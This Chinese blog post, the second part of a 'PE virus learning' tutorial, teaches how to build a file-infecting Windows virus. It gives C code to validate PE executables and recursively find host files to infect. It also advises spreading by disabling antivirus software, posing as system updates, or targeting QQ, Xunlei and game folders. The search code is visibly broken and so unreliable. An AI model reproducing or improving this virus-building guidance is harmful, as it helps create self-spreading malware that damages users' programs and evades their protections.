欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

PE病毒学习(二)

PE病毒学习(二)

在上一章中的“前置病毒”中,由于它只是一个测试病毒,因此该病毒只是搜索病毒文件所在文件夹的exe文件。
显然,为了让它具有更好传染性,能够历遍整个磁盘或某些重要文件夹的特性,是十分重要的。
开始讨论历遍之前,先让我们来改进原来的代码
首先在上一章的代码中,只要结尾是“.exe”的文件就被判断为"可执行程序",这种方法在大多数情况下是正确的,但是如果程序经过压缩或加密后,该文件的PE结构会有改变,虽然它实际上让然能履行可执行程序的功能,但针对PE文件的操作可能出错。因此,确定.exe后缀之后,做更加详细的文件类型检查很多时是必要的,参考代码如下:
************************************************************************/  
/* 函数说明:判断文件是否是可执行文件
/* 参    数: hFile 文件句柄
/* 返 回 值:是可执行文件返回真,否则返回假 
BOOL IsExeFile(HANDLE hFile)
{
 IMAGE_DOS_HEADER dosHeader;
 IMAGE_NT_HEADERS32 ntHeader;
 DWORD nCount;
 BOOL bResult=FALSE;
 ReadFile(hFile, &dosHeader, sizeof(dosHeader),&nCount, NULL);
//dos头检查
 if(nCount== sizeof(dosHeader))
   if(dosHeader.e_magic == IMAGE_DOS_SIGNATURE) // 是不是有效的DOS 头?
     if(SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) != -1)
       {
//NT头检查
         ReadFile(hFile, &ntHeader, sizeof(ntHeader), &nCount, NULL);
         if(nCount == sizeof(ntHeader))
            if(ntHeader.Signature == IMAGE_NT_SIGNATURE) // 是不是有效的NT 头
               if(ntHeader.FileHeader.Characteristics&IMAGE_FILE_EXECUTABLE_IMAGE)//Characteristics也可判断
                                                                                                                                 //其他类型PE文件
                   bResult=TRUE;
       }
  SetFilePointer(hFile, 0, NULL, FILE_BEGIN) 
  return bResult;
}
 好嘞,终于进入正题,让我们谈谈历遍磁盘或目录的问题。
 先说说好的病毒设计对历遍磁盘的设计要求:
        1、避免对系统冲击过大:历遍磁盘对系统冲击相当大,并且有可能多个病毒同时开启,如果搜索时间较长,应该适当挂起程序,
                                           将时间片还给系统
        2、最好限制搜索文件数量和范围:不要试图感染本机所有文件,这样只能是病毒和系统一起完蛋;感染系统文件虽然十分有用,
                                                       在有保护的情况下,非常容易被杀毒软件发现。
        3、搜索速度要快:很多时候,不能单独开启新进程执行正常程序,因此正常程序不得不等待病毒程序完毕
解决方方案:
        方案一:如果能干掉杀毒软件的话,将关键目录目标文件和一般目录结合搜索,能取得不错效果
        方案二:如果你为人低调的话,通过伪装或隐藏,比如模拟系统更新来注入到关键目录中
        方案三:没有办法也是办法,搜索普通目录,比如迅雷、qq、一些网游也是不错的选择
不管你选择哪种方法,这里给出一个文件树搜索参考代码:
************************************************************************/  
/* 函数说明:历遍该路径下的可执行文件
/* 参    数:Top   文件路径   int nCount 搜索符合要求文件的最大数目  pFileHandle 将找到的符合要求文件句柄储存在这里
/* 返 回 值:找到符合要求文件的数目  
int SearchHostFile(TCHAR* Top,int nCount,PHANDLE  szFileHandle)
{
  static  int  nResult=0;
  WIN32_FIND_DATA fd;
  HANDLE szFileHandle[nResult] = FindFirstFile(Top,&fd);
  if(szFileHandle[nResult]!=INVALID_HANDLE_VALUE)
  {
    if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
       SearchHostFile(fd.cFileName,nCount,szFileHandle);
    else
       {
          while(nResult<nCount)
          {
             if(IsExeFile(szFileHandle[nResult]))
               nResult++;
             FindNextFile(szFileHandle[nResult],&fd);
             if(szFileHandle[nResult]==INVALID_HANDLE_VALUE)
                break;
             sleep(0);
          }
       }     
   }
   return nResult;
}
以上纯属个人观点,由于本人能力有限,如有错误,请你指正,希望大家常来常往,互相交流

本文来自CSDN博客,转载请标明http://blog.csdn.net/yangbostar/archive/2010/09/19/5894360.aspx

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功